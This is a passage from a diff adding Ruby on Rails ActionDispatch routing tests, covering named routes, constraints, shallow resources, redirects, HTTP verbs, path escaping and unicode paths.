+    assert_equal "wiki_pages#show", @response.body
+    assert_equal "/pages/Ruby_on_Rails", wiki_page_path(id: "Ruby_on_Rails")
+
+    get "/my_account"
+    assert_equal "wiki_accounts#show", @response.body
+    assert_equal "/my_account", wiki_account_path
+  end
+
+  def test_redirect_https
+    draw do
+      get "secure", to: redirect("/secure/login")
+    end
+
+    with_https do
+      get "/secure"
+      verify_redirect "https://www.example.com/secure/login"
+    end
+  end
+
+  def test_path_parameters_is_not_stale
+    draw do
+      scope "/countries/:country", constraints: lambda { |params, req| %w(all France).include?(params[:country]) } do
+        get "/",       to: "countries#index"
+        get "/cities", to: "countries#cities"
+      end
+
+      get "/countries/:country/(*other)", to: redirect { |params, req| params[:other] ? "/countries/all/#{params[:other]}" : "/countries/all" }
+    end
+
+    get "/countries/France"
+    assert_equal "countries#index", @response.body
+
+    get "/countries/France/cities"
+    assert_equal "countries#cities", @response.body
+
+    get "/countries/UK"
+    verify_redirect "http://www.example.com/countries/all"
+
+    get "/countries/UK/cities"
+    verify_redirect "http://www.example.com/countries/all/cities"
+  end
+
+  def test_constraints_block_not_carried_to_following_routes
+    draw do
+      scope "/italians" do
+        get "/writers", to: "italians#writers", constraints: ::TestRoutingMapper::IpRestrictor
+        get "/sculptors", to: "italians#sculptors"
+        get "/painters/:painter", to: "italians#painters", constraints: { painter: /michelangelo/ }
+      end
+    end
+
+    get "/italians/writers"
+    assert_equal "Not Found", @response.body
+
+    get "/italians/sculptors"
+    assert_equal "italians#sculptors", @response.body
+
+    get "/italians/painters/botticelli"
+    assert_equal "Not Found", @response.body
+
+    get "/italians/painters/michelangelo"
+    assert_equal "italians#painters", @response.body
+  end
+
+  def test_custom_resource_actions_defined_using_string
+    draw do
+      resources :customers do
+        resources :invoices do
+          get "aged/:months", on: :collection, action: :aged, as: :aged
+        end
+
+        get "inactive", on: :collection
+        post "deactivate", on: :member
+        get "old", on: :collection, as: :stale
+      end
+    end
+
+    get "/customers/inactive"
+    assert_equal "customers#inactive", @response.body
+    assert_equal "/customers/inactive", inactive_customers_path
+
+    post "/customers/1/deactivate"
+    assert_equal "customers#deactivate", @response.body
+    assert_equal "/customers/1/deactivate", deactivate_customer_path(id: "1")
+
+    get "/customers/old"
+    assert_equal "customers#old", @response.body
+    assert_equal "/customers/old", stale_customers_path
+
+    get "/customers/1/invoices/aged/3"
+    assert_equal "invoices#aged", @response.body
+    assert_equal "/customers/1/invoices/aged/3", aged_customer_invoices_path(customer_id: "1", months: "3")
+  end
+
+  def test_route_defined_in_resources_scope_level
+    draw do
+      resources :customers do
+        get "export"
+      end
+    end
+
+    get "/customers/1/export"
+    assert_equal "customers#export", @response.body
+    assert_equal "/customers/1/export", customer_export_path(customer_id: "1")
+  end
+
+  def test_named_character_classes_in_regexp_constraints
+    draw do
+      get "/purchases/:token/:filename",
+        to: "purchases#fetch",
+        token: /[[:alnum:]]{10}/,
+        filename: /(.+)/,
+        as: :purchase
+    end
+
+    get "/purchases/315004be7e/Ruby_on_Rails_3.pdf"
+    assert_equal "purchases#fetch", @response.body
+    assert_equal "/purchases/315004be7e/Ruby_on_Rails_3.pdf", purchase_path(token: "315004be7e", filename: "Ruby_on_Rails_3.pdf")
+  end
+
+  def test_nested_resource_constraints
+    draw do
+      resources :lists, id: /([A-Za-z0-9]{25})|default/ do
+        resources :todos, id: /\d+/
+      end
+    end
+
+    get "/lists/01234012340123401234fffff"
+    assert_equal "lists#show", @response.body
+    assert_equal "/lists/01234012340123401234fffff", list_path(id: "01234012340123401234fffff")
+
+    get "/lists/01234012340123401234fffff/todos/1"
+    assert_equal "todos#show", @response.body
+    assert_equal "/lists/01234012340123401234fffff/todos/1", list_todo_path(list_id: "01234012340123401234fffff", id: "1")
+
+    get "/lists/2/todos/1"
+    assert_equal "Not Found", @response.body
+    assert_raises(ActionController::UrlGenerationError) { list_todo_path(list_id: "2", id: "1") }
+  end
+
+  def test_redirect_argument_error
+    routes = Class.new { include ActionDispatch::Routing::Redirection }.new
+    assert_raises(ArgumentError) { routes.redirect Object.new }
+  end
+
+  def test_named_route_check
+    before, after = nil
+
+    draw do
+      before = has_named_route?(:hello)
+      get "/hello", as: :hello, to: "hello#world"
+      after = has_named_route?(:hello)
+    end
+
+    assert !before, "expected to not have named route :hello before route definition"
+    assert after, "expected to have named route :hello after route definition"
+  end
+
+  def test_explicitly_avoiding_the_named_route
+    draw do
+      scope as: "routes" do
+        get "/c/:id", as: :collision, to: "collision#show"
+        get "/collision", to: "collision#show"
+        get "/no_collision", to: "collision#show", as: nil
+      end
+    end
+
+    assert !respond_to?(:routes_no_collision_path)
+  end
+
+  def test_controller_name_with_leading_slash_raise_error
+    assert_raise(ArgumentError) do
+      draw { get "/feeds/:service", to: "/feeds#show" }
+    end
+
+    assert_raise(ArgumentError) do
+      draw { get "/feeds/:service", controller: "/feeds", action: "show" }
+    end
+
+    assert_raise(ArgumentError) do
+      draw { get "/api/feeds/:service", to: "/api/feeds#show" }
+    end
+
+    assert_raise(ArgumentError) do
+      draw { resources :feeds, controller: "/feeds" }
+    end
+  end
+
+  def test_invalid_route_name_raises_error
+    assert_raise(ArgumentError) do
+      draw { get "/products", to: "products#index", as: "products " }
+    end
+
+    assert_raise(ArgumentError) do
+      draw { get "/products", to: "products#index", as: " products" }
+    end
+
+    assert_raise(ArgumentError) do
+      draw { get "/products", to: "products#index", as: "products!" }
+    end
+
+    assert_raise(ArgumentError) do
+      draw { get "/products", to: "products#index", as: "products index" }
+    end
+
+    assert_raise(ArgumentError) do
+      draw { get "/products", to: "products#index", as: "1products" }
+    end
+  end
+
+  def test_duplicate_route_name_raises_error
+    assert_raise(ArgumentError) do
+      draw do
+        get "/collision", to: "collision#show", as: "collision"
+        get "/duplicate", to: "duplicate#show", as: "collision"
+      end
+    end
+  end
+
+  def test_duplicate_route_name_via_resources_raises_error
+    assert_raise(ArgumentError) do
+      draw do
+        resources :collisions
+        get "/collision", to: "collision#show", as: "collision"
+      end
+    end
+  end
+
+  def test_nested_route_in_nested_resource
+    draw do
+      resources :posts, only: [:index, :show] do
+        resources :comments, except: :destroy do
+          get "views" => "comments#views", :as => :views
+        end
+      end
+    end
+
+    get "/posts/1/comments/2/views"
+    assert_equal "comments#views", @response.body
+    assert_equal "/posts/1/comments/2/views", post_comment_views_path(post_id: "1", comment_id: "2")
+  end
+
+  def test_root_in_deeply_nested_scope
+    draw do
+      resources :posts, only: [:index, :show] do
+        namespace :admin do
+          root to: "index#index"
+        end
+      end
+    end
+
+    get "/posts/1/admin"
+    assert_equal "admin/index#index", @response.body
+    assert_equal "/posts/1/admin", post_admin_root_path(post_id: "1")
+  end
+
+  def test_custom_param
+    draw do
+      resources :profiles, param: :username do
+        get :details, on: :member
+        resources :messages
+      end
+    end
+
+    get "/profiles/bob"
+    assert_equal "profiles#show", @response.body
+    assert_equal "bob", @request.params[:username]
+
+    get "/profiles/bob/details"
+    assert_equal "bob", @request.params[:username]
+
+    get "/profiles/bob/messages/34"
+    assert_equal "bob", @request.params[:profile_username]
+    assert_equal "34", @request.params[:id]
+  end
+
+  def test_custom_param_constraint
+    draw do
+      resources :profiles, param: :username, username: /[a-z]+/ do
+        get :details, on: :member
+        resources :messages
+      end
+    end
+
+    get "/profiles/bob1"
+    assert_equal 404, @response.status
+
+    get "/profiles/bob1/details"
+    assert_equal 404, @response.status
+
+    get "/profiles/bob1/messages/34"
+    assert_equal 404, @response.status
+  end
+
+  def test_shallow_custom_param
+    draw do
+      resources :orders do
+        constraints download: /[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}/ do
+          resources :downloads, param: :download, shallow: true
+        end
+      end
+    end
+
+    get "/downloads/0c0c0b68-d24b-11e1-a861-001ff3fffe6f.zip"
+    assert_equal "downloads#show", @response.body
+    assert_equal "0c0c0b68-d24b-11e1-a861-001ff3fffe6f", @request.params[:download]
+  end
+
+  def test_action_from_path_is_not_frozen
+    draw do
+      get "search" => "search"
+    end
+
+    get "/search"
+    assert !@request.params[:action].frozen?
+  end
+
+  def test_multiple_positional_args_with_the_same_name
+    draw do
+      get "/downloads/:id/:id.tar" => "downloads#show", as: :download, format: false
+    end
+
+    expected_params = {
+      controller: "downloads",
+      action:     "show",
+      id:         "1"
+    }
+
+    get "/downloads/1/1.tar"
+    assert_equal "downloads#show", @response.body
+    assert_equal expected_params, @request.path_parameters
+    assert_equal "/downloads/1/1.tar", download_path("1")
+    assert_equal "/downloads/1/1.tar", download_path("1", "1")
+  end
+
+  def test_absolute_controller_namespace
+    draw do
+      namespace :foo do
+        get "/", to: "/bar#index", as: "root"
+      end
+    end
+
+    get "/foo"
+    assert_equal "bar#index", @response.body
+    assert_equal "/foo", foo_root_path
+  end
+
+  def test_namespace_as_controller
+    draw do
+      namespace :foo do
+        get "/", to: "/bar#index", as: "root"
+      end
+    end
+
+    get "/foo"
+    assert_equal "bar#index", @response.body
+    assert_equal "/foo", foo_root_path
+  end
+
+  def test_trailing_slash
+    draw do
+      resources :streams
+    end
+
+    get "/streams"
+    assert @response.ok?, "route without trailing slash should work"
+
+    get "/streams/"
+    assert @response.ok?, "route with trailing slash should work"
+
+    get "/streams?foobar"
+    assert @response.ok?, "route without trailing slash and with QUERY_STRING should work"
+
+    get "/streams/?foobar"
+    assert @response.ok?, "route with trailing slash and with QUERY_STRING should work"
+  end
+
+  def test_route_with_dashes_in_path
+    draw do
+      get "/contact-us", to: "pages#contact_us"
+    end
+
+    get "/contact-us"
+    assert_equal "pages#contact_us", @response.body
+    assert_equal "/contact-us", contact_us_path
+  end
+
+  def test_shorthand_route_with_dashes_in_path
+    draw do
+      get "/about-us/index"
+    end
+
+    get "/about-us/index"
+    assert_equal "about_us#index", @response.body
+    assert_equal "/about-us/index", about_us_index_path
+  end
+
+  def test_resource_routes_with_dashes_in_path
+    draw do
+      resources :photos, only: [:show] do
+        get "user-favorites", on: :collection
+        get "preview-photo", on: :member
+        get "summary-text"
+      end
+    end
+
+    get "/photos/user-favorites"
+    assert_equal "photos#user_favorites", @response.body
+    assert_equal "/photos/user-favorites", user_favorites_photos_path
+
+    get "/photos/1/preview-photo"
+    assert_equal "photos#preview_photo", @response.body
+    assert_equal "/photos/1/preview-photo", preview_photo_photo_path("1")
+
+    get "/photos/1/summary-text"
+    assert_equal "photos#summary_text", @response.body
+    assert_equal "/photos/1/summary-text", photo_summary_text_path("1")
+
+    get "/photos/1"
+    assert_equal "photos#show", @response.body
+    assert_equal "/photos/1", photo_path("1")
+  end
+
+  def test_shallow_path_inside_namespace_is_not_added_twice
+    draw do
+      namespace :admin do
+        shallow do
+          resources :posts do
+            resources :comments
+          end
+        end
+      end
+    end
+
+    get "/admin/posts/1/comments"
+    assert_equal "admin/comments#index", @response.body
+    assert_equal "/admin/posts/1/comments", admin_post_comments_path("1")
+  end
+
+  def test_mix_string_to_controller_action
+    draw do
+      get "/projects", controller: "project_files",
+                       action: "index",
+                       to: "comments#index"
+    end
+    get "/projects"
+    assert_equal "comments#index", @response.body
+  end
+
+  def test_mix_string_to_controller
+    draw do
+      get "/projects", controller: "project_files",
+                       to: "comments#index"
+    end
+    get "/projects"
+    assert_equal "comments#index", @response.body
+  end
+
+  def test_mix_string_to_action
+    draw do
+      get "/projects", action: "index",
+                       to: "comments#index"
+    end
+    get "/projects"
+    assert_equal "comments#index", @response.body
+  end
+
+  def test_shallow_path_and_prefix_are_not_added_to_non_shallow_routes
+    draw do
+      scope shallow_path: "projects", shallow_prefix: "project" do
+        resources :projects do
+          resources :files, controller: "project_files", shallow: true
+        end
+      end
+    end
+
+    get "/projects"
+    assert_equal "projects#index", @response.body
+    assert_equal "/projects", projects_path
+
+    get "/projects/new"
+    assert_equal "projects#new", @response.body
+    assert_equal "/projects/new", new_project_path
+
+    post "/projects"
+    assert_equal "projects#create", @response.body
+
+    get "/projects/1"
+    assert_equal "projects#show", @response.body
+    assert_equal "/projects/1", project_path("1")
+
+    get "/projects/1/edit"
+    assert_equal "projects#edit", @response.body
+    assert_equal "/projects/1/edit", edit_project_path("1")
+
+    patch "/projects/1"
+    assert_equal "projects#update", @response.body
+
+    delete "/projects/1"
+    assert_equal "projects#destroy", @response.body
+
+    get "/projects/1/files"
+    assert_equal "project_files#index", @response.body
+    assert_equal "/projects/1/files", project_files_path("1")
+
+    get "/projects/1/files/new"
+    assert_equal "project_files#new", @response.body
+    assert_equal "/projects/1/files/new", new_project_file_path("1")
+
+    post "/projects/1/files"
+    assert_equal "project_files#create", @response.body
+
+    get "/projects/files/2"
+    assert_equal "project_files#show", @response.body
+    assert_equal "/projects/files/2", project_file_path("2")
+
+    get "/projects/files/2/edit"
+    assert_equal "project_files#edit", @response.body
+    assert_equal "/projects/files/2/edit", edit_project_file_path("2")
+
+    patch "/projects/files/2"
+    assert_equal "project_files#update", @response.body
+
+    delete "/projects/files/2"
+    assert_equal "project_files#destroy", @response.body
+  end
+
+  def test_scope_path_is_copied_to_shallow_path
+    draw do
+      scope path: "foo" do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal "/foo/comments/1", comment_path("1")
+  end
+
+  def test_scope_as_is_copied_to_shallow_prefix
+    draw do
+      scope as: "foo" do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal "/comments/1", foo_comment_path("1")
+  end
+
+  def test_scope_shallow_prefix_is_not_overwritten_by_as
+    draw do
+      scope as: "foo", shallow_prefix: "bar" do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal "/comments/1", bar_comment_path("1")
+  end
+
+  def test_scope_shallow_path_is_not_overwritten_by_path
+    draw do
+      scope path: "foo", shallow_path: "bar" do
+        resources :posts do
+          resources :comments, shallow: true
+        end
+      end
+    end
+
+    assert_equal "/bar/comments/1", comment_path("1")
+  end
+
+  def test_resource_where_as_is_empty
+    draw do
+      resource :post, as: ""
+
+      scope "post", as: "post" do
+        resource :comment, as: ""
+      end
+    end
+
+    assert_equal "/post/new", new_path
+    assert_equal "/post/comment/new", new_post_path
+  end
+
+  def test_resources_where_as_is_empty
+    draw do
+      resources :posts, as: ""
+
+      scope "posts", as: "posts" do
+        resources :comments, as: ""
+      end
+    end
+
+    assert_equal "/posts/new", new_path
+    assert_equal "/posts/comments/new", new_posts_path
+  end
+
+  def test_scope_where_as_is_empty
+    draw do
+      scope "post", as: "" do
+        resource :user
+        resources :comments
+      end
+    end
+
+    assert_equal "/post/user/new", new_user_path
+    assert_equal "/post/comments/new", new_comment_path
+  end
+
+  def test_head_fetch_with_mount_on_root
+    draw do
+      get "/home" => "test#index"
+      mount lambda { |env| [200, {}, [env["REQUEST_METHOD"]]] }, at: "/"
+    end
+
+    # HEAD request should match `get /home` rather than the
+    # lower-precedence Rack app mounted at `/`.
+    head "/home"
+    assert_response :ok
+    assert_equal "test#index", @response.body
+
+    # But the Rack app can still respond to its own HEAD requests.
+    head "/foobar"
+    assert_response :ok
+    assert_equal "HEAD", @response.body
+  end
+
+  def test_passing_action_parameters_to_url_helpers_raises_error_if_parameters_are_not_permitted
+    draw do
+      root to: "projects#index"
+    end
+    params = ActionController::Parameters.new(id: "1")
+
+    assert_raises ActionController::UnfilteredParameters do
+      root_path(params)
+    end
+  end
+
+  def test_passing_action_parameters_to_url_helpers_is_allowed_if_parameters_are_permitted
+    draw do
+      root to: "projects#index"
+    end
+    params = ActionController::Parameters.new(id: "1")
+    params.permit!
+
+    assert_equal "/?id=1", root_path(params)
+  end
+
+  def test_dynamic_controller_segments_are_deprecated
+    assert_deprecated do
+      draw do
+        get "/:controller", action: "index"
+      end
+    end
+  end
+
+  def test_dynamic_action_segments_are_deprecated
+    assert_deprecated do
+      draw do
+        get "/pages/:action", controller: "pages"
+      end
+    end
+  end
+
+  def test_multiple_roots
+    draw do
+      namespace :foo do
+        root "pages#index", constraints: { host: "www.example.com" }
+        root "admin/pages#index", constraints: { host: "admin.example.com" }
+      end
+
+      root "pages#index", constraints: { host: "www.example.com" }
+      root "admin/pages#index", constraints: { host: "admin.example.com" }
+    end
+
+    get "http://www.example.com/foo"
+    assert_equal "foo/pages#index", @response.body
+
+    get "http://admin.example.com/foo"
+    assert_equal "foo/admin/pages#index", @response.body
+
+    get "http://www.example.com/"
+    assert_equal "pages#index", @response.body
+
+    get "http://admin.example.com/"
+    assert_equal "admin/pages#index", @response.body
+  end
+
+  def test_multiple_namespaced_roots
+    draw do
+      namespace :foo do
+        root "test#index"
+      end
+
+      root "test#index"
+
+      namespace :bar do
+        root "test#index"
+      end
+    end
+
+    assert_equal "/foo", foo_root_path
+    assert_equal "/", root_path
+    assert_equal "/bar", bar_root_path
+  end
+
+  def test_nested_routes_under_format_resource
+    draw do
+      resources :formats do
+        resources :items
+      end
+    end
+
+    get "/formats/1/items.json"
+    assert_equal 200, @response.status
+    assert_equal "items#index", @response.body
+    assert_equal "/formats/1/items.json", format_items_path(1, :json)
+
+    get "/formats/1/items/2.json"
+    assert_equal 200, @response.status
+    assert_equal "items#show", @response.body
+    assert_equal "/formats/1/items/2.json", format_item_path(1, 2, :json)
+  end
+
+private
+
+  def draw(&block)
+    self.class.stub_controllers do |routes|
+      routes.default_url_options = { host: "www.example.com" }
+      routes.draw(&block)
+      @app = RoutedRackApp.new routes
+    end
+  end
+
+  def url_for(options = {})
+    @app.routes.url_helpers.url_for(options)
+  end
+
+  def method_missing(method, *args, &block)
+    if method.to_s =~ /_(path|url)$/
+      @app.routes.url_helpers.send(method, *args, &block)
+    else
+      super
+    end
+  end
+
+  def with_https
+    old_https = https?
+    https!
+    yield
+  ensure
+    https!(old_https)
+  end
+
+  def verify_redirect(url, status = 301)
+    assert_equal status, @response.status
+    assert_equal url, @response.headers["Location"]
+    assert_equal expected_redirect_body(url), @response.body
+  end
+
+  def expected_redirect_body(url)
+    %(<html><body>You are being <a href="#{ERB::Util.h(url)}">redirected</a>.</body></html>)
+  end
+end
+
+class TestAltApp < ActionDispatch::IntegrationTest
+  class AltRequest < ActionDispatch::Request
+    attr_accessor :path_parameters, :path_info, :script_name
+    attr_reader :env
+
+    def initialize(env)
+      @path_parameters = {}
+      @env = env
+      @path_info = "/"
+      @script_name = ""
+      super
+    end
+
+    def request_method
+      "GET"
+    end
+
+    def ip
+      "127.0.0.1"
+    end
+
+    def x_header
+      @env["HTTP_X_HEADER"] || ""
+    end
+  end
+
+  class XHeader
+    def call(env)
+      [200, { "Content-Type" => "text/html" }, ["XHeader"]]
+    end
+  end
+
+  class AltApp
+    def call(env)
+      [200, { "Content-Type" => "text/html" }, ["Alternative App"]]
+    end
+  end
+
+  AltRoutes = Class.new(ActionDispatch::Routing::RouteSet) {
+    def request_class
+      AltRequest
+    end
+  }.new
+  AltRoutes.draw do
+    get "/" => TestAltApp::XHeader.new, :constraints => { x_header: /HEADER/ }
+    get "/" => TestAltApp::AltApp.new
+  end
+
+  APP = build_app AltRoutes
+
+  def app
+    APP
+  end
+
+  def test_alt_request_without_header
+    get "/"
+    assert_equal "Alternative App", @response.body
+  end
+
+  def test_alt_request_with_matched_header
+    get "/", headers: { "HTTP_X_HEADER" => "HEADER" }
+    assert_equal "XHeader", @response.body
+  end
+
+  def test_alt_request_with_unmatched_header
+    get "/", headers: { "HTTP_X_HEADER" => "NON_MATCH" }
+    assert_equal "Alternative App", @response.body
+  end
+end
+
+class TestAppendingRoutes < ActionDispatch::IntegrationTest
+  def simple_app(resp)
+    lambda { |e| [ 200, { "Content-Type" => "text/plain" }, [resp] ] }
+  end
+
+  def setup
+    super
+    s = self
+    routes = ActionDispatch::Routing::RouteSet.new
+    routes.append do
+      get "/hello"   => s.simple_app("fail")
+      get "/goodbye" => s.simple_app("goodbye")
+    end
+
+    routes.draw do
+      get "/hello" => s.simple_app("hello")
+    end
+    @app = self.class.build_app routes
+  end
+
+  def test_goodbye_should_be_available
+    get "/goodbye"
+    assert_equal "goodbye", @response.body
+  end
+
+  def test_hello_should_not_be_overwritten
+    get "/hello"
+    assert_equal "hello", @response.body
+  end
+
+  def test_missing_routes_are_still_missing
+    get "/random"
+    assert_equal 404, @response.status
+  end
+end
+
+class TestNamespaceWithControllerOption < ActionDispatch::IntegrationTest
+  module ::Admin
+    class StorageFilesController < ActionController::Base
+      def index
+        render plain: "admin/storage_files#index"
+      end
+    end
+  end
+
+  def draw(&block)
+    routes = ActionDispatch::Routing::RouteSet.new
+    routes.draw(&block)
+    @app = self.class.build_app routes
+  end
+
+  def test_missing_controller
+    ex = assert_raises(ArgumentError) {
+      draw do
+        get "/foo/bar", action: :index
+      end
+    }
+    assert_match(/Missing :controller/, ex.message)
+  end
+
+  def test_missing_controller_with_to
+    ex = assert_raises(ArgumentError) {
+      draw do
+        get "/foo/bar", to: "foo"
+      end
+    }
+    assert_match(/Missing :controller/, ex.message)
+  end
+
+  def test_missing_action_on_hash
+    ex = assert_raises(ArgumentError) {
+      draw do
+        get "/foo/bar", to: "foo#"
+      end
+    }
+    assert_match(/Missing :action/, ex.message)
+  end
+
+  def test_valid_controller_options_inside_namespace
+    draw do
+      namespace :admin do
+        resources :storage_files, controller: "storage_files"
+      end
+    end
+
+    get "/admin/storage_files"
+    assert_equal "admin/storage_files#index", @response.body
+  end
+
+  def test_resources_with_valid_namespaced_controller_option
+    draw do
+      resources :storage_files, controller: "admin/storage_files"
+    end
+
+    get "/storage_files"
+    assert_equal "admin/storage_files#index", @response.body
+  end
+
+  def test_warn_with_ruby_constant_syntax_controller_option
+    e = assert_raise(ArgumentError) do
+      draw do
+        namespace :admin do
+          resources :storage_files, controller: "StorageFiles"
+        end
+      end
+    end
+
+    assert_match "'admin/StorageFiles' is not a supported controller name", e.message
+  end
+
+  def test_warn_with_ruby_constant_syntax_namespaced_controller_option
+    e = assert_raise(ArgumentError) do
+      draw do
+        resources :storage_files, controller: "Admin::StorageFiles"
+      end
+    end
+
+    assert_match "'Admin::StorageFiles' is not a supported controller name", e.message
+  end
+
+  def test_warn_with_ruby_constant_syntax_no_colons
+    e = assert_raise(ArgumentError) do
+      draw do
+        resources :storage_files, controller: "Admin"
+      end
+    end
+
+    assert_match "'Admin' is not a supported controller name", e.message
+  end
+end
+
+class TestDefaultScope < ActionDispatch::IntegrationTest
+  module ::Blog
+    class PostsController < ActionController::Base
+      def index
+        render plain: "blog/posts#index"
+      end
+    end
+  end
+
+  DefaultScopeRoutes = ActionDispatch::Routing::RouteSet.new
+  DefaultScopeRoutes.default_scope = { module: :blog }
+  DefaultScopeRoutes.draw do
+    resources :posts
+  end
+
+  APP = build_app DefaultScopeRoutes
+
+  def app
+    APP
+  end
+
+  include DefaultScopeRoutes.url_helpers
+
+  def test_default_scope
+    get "/posts"
+    assert_equal "blog/posts#index", @response.body
+  end
+end
+
+class TestHttpMethods < ActionDispatch::IntegrationTest
+  RFC2616 = %w(OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT)
+  RFC2518 = %w(PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK)
+  RFC3253 = %w(VERSION-CONTROL REPORT CHECKOUT CHECKIN UNCHECKOUT MKWORKSPACE UPDATE LABEL MERGE BASELINE-CONTROL MKACTIVITY)
+  RFC3648 = %w(ORDERPATCH)
+  RFC3744 = %w(ACL)
+  RFC5323 = %w(SEARCH)
+  RFC4791 = %w(MKCALENDAR)
+  RFC5789 = %w(PATCH)
+
+  def simple_app(response)
+    lambda { |env| [ 200, { "Content-Type" => "text/plain" }, [response] ] }
+  end
+
+  attr_reader :app
+
+  def setup
+    s = self
+    routes = ActionDispatch::Routing::RouteSet.new
+    @app = RoutedRackApp.new routes
+
+    routes.draw do
+      (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789).each do |method|
+        match "/" => s.simple_app(method), :via => method.underscore.to_sym
+      end
+    end
+  end
+
+  (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC4791 + RFC5789).each do |method|
+    test "request method #{method.underscore} can be matched" do
+      get "/", headers: { "REQUEST_METHOD" => method }
+      assert_equal method, @response.body
+    end
+  end
+end
+
+class TestUriPathEscaping < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      get "/:segment" => lambda { |env|
+        path_params = env["action_dispatch.request.path_parameters"]
+        [200, { "Content-Type" => "text/plain" }, [path_params[:segment]]]
+      }, :as => :segment
+
+      get "/*splat" => lambda { |env|
+        path_params = env["action_dispatch.request.path_parameters"]
+        [200, { "Content-Type" => "text/plain" }, [path_params[:splat]]]
+      }, :as => :splat
+    end
+  end
+
+  include Routes.url_helpers
+  APP = build_app Routes
+  def app; APP end
+
+  test "escapes slash in generated path segment" do
+    assert_equal "/a%20b%2Fc+d", segment_path(segment: "a b/c+d")
+  end
+
+  test "unescapes recognized path segment" do
+    get "/a%20b%2Fc+d"
+    assert_equal "a b/c+d", @response.body
+  end
+
+  test "does not escape slash in generated path splat" do
+    assert_equal "/a%20b/c+d", splat_path(splat: "a b/c+d")
+  end
+
+  test "unescapes recognized path splat" do
+    get "/a%20b/c+d"
+    assert_equal "a b/c+d", @response.body
+  end
+end
+
+class TestUnicodePaths < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      get "/ほげ" => lambda { |env|
+        [200, { "Content-Type" => "text/plain" }, []]
+      }, :as => :unicode_path
+    end
+  end
+
+  include Routes.url_helpers
+  APP = build_app Routes
+  def app; APP end
+
+  test "recognizes unicode path" do
+    get "/#{Rack::Utils.escape("ほげ")}"
+    assert_equal "200", @response.code
+  end
+end
+
+class TestMultipleNestedController < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      namespace :foo do
+        namespace :bar do
+          get "baz" => "baz#index"
+        end
+      end
+      get "pooh" => "pooh#index"
+    end
+  end
+
+  module ::Foo
+    module Bar
+      class BazController < ActionController::Base
+        include Routes.url_helpers
+
+        def index
+          render inline: "<%= url_for :controller => '/pooh', :action => 'index' %>"
+        end
+      end
+    end
+  end
+
+  APP = build_app Routes
+  def app; APP end
+
+  test "controller option which starts with '/' from multiple nested controller" do
+    get "/foo/bar/baz"
+    assert_equal "/pooh", @response.body
+  end
+end
+
+class TestTildeAndMinusPaths < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+
+      get "/~user" => ok
+      get "/young-and-fine" => ok
+    end
+  end
+
+  include Routes.url_helpers
+  APP = build_app Routes
+  def app; APP end
+
+  test "recognizes tilde path" do
+    get "/~user"
+    assert_equal "200", @response.code
+  end
+
+  test "recognizes minus path" do
+    get "/young-and-fine"
+    assert_equal "200", @response.code
+  end
+end
+
+class TestRedirectInterpolation < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+
+      get "/foo/:id" => redirect("/foo/bar/%{id}")
+      get "/bar/:id" => redirect(path: "/foo/bar/%{id}")
+      get "/baz/:id" => redirect("/baz?id=%{id}&foo=?&bar=1#id-%{id}")
+      get "/foo/bar/:id" => ok
+      get "/baz" => ok
+    end
+  end
+
+  APP = build_app Routes
+  def app; APP end
+
+  test "redirect escapes interpolated parameters with redirect proc" do
+    get "/foo/1%3E"
+    verify_redirect "http://www.example.com/foo/bar/1%3E"
+  end
+
+  test "redirect escapes interpolated parameters with option proc" do
+    get "/bar/1%3E"
+    verify_redirect "http://www.example.com/foo/bar/1%3E"
+  end
+
+  test "path redirect escapes interpolated parameters correctly" do
+    get "/foo/1%201"
+    verify_redirect "http://www.example.com/foo/bar/1%201"
+
+    get "/baz/1%201"
+    verify_redirect "http://www.example.com/baz?id=1+1&foo=?&bar=1#id-1%201"
+  end
+
+private
+  def verify_redirect(url, status = 301)
+    assert_equal status, @response.status
+    assert_equal url, @response.headers["Location"]
+    assert_equal expected_redirect_body(url), @response.body
+  end
+
+  def expected_redirect_body(url)
+    %(<html><body>You are being <a href="#{ERB::Util.h(url)}">redirected</a>.</body></html>)
+  end
+end
+
+class TestConstraintsAccessingParameters < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+
+      get "/:foo" => ok, :constraints => lambda { |r| r.params[:foo] == "foo" }
+      get "/:bar" => ok
+    end
+  end
+
+  APP = build_app Routes
+  def app; APP end
+
+  test "parameters are reset between constraint checks" do
+    get "/bar"
+    assert_nil @request.params[:foo]
+    assert_equal "bar", @request.params[:bar]
+  end
+end
+
+class TestGlobRoutingMapper < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
+      ok = lambda { |env| [200, { "Content-Type" => "text/plain" }, []] }
+
+      get "/*id" => redirect("/not_cars"), :constraints => { id: /dummy/ }
+      get "/cars" => ok
+    end
+  end
+
+  #include Routes.url_helpers
+  APP = build_app Routes
+  def app; APP end
+
+  def test_glob_constraint
+    get "/dummy"
+    assert_equal "301", @response.code
+    assert_equal "/not_cars", @response.header["Location"].match("/[^/]+$")[0]
+  end
+
+  def test_glob_constraint_skip_route
+    get "/cars"
+    assert_equal "200", @response.code
+  end
+  def test_glob_constraint_skip_all
+    get "/missing"
+    assert_equal "404", @response.code
+  end
+end
+
+class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
+  Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+    app.draw do
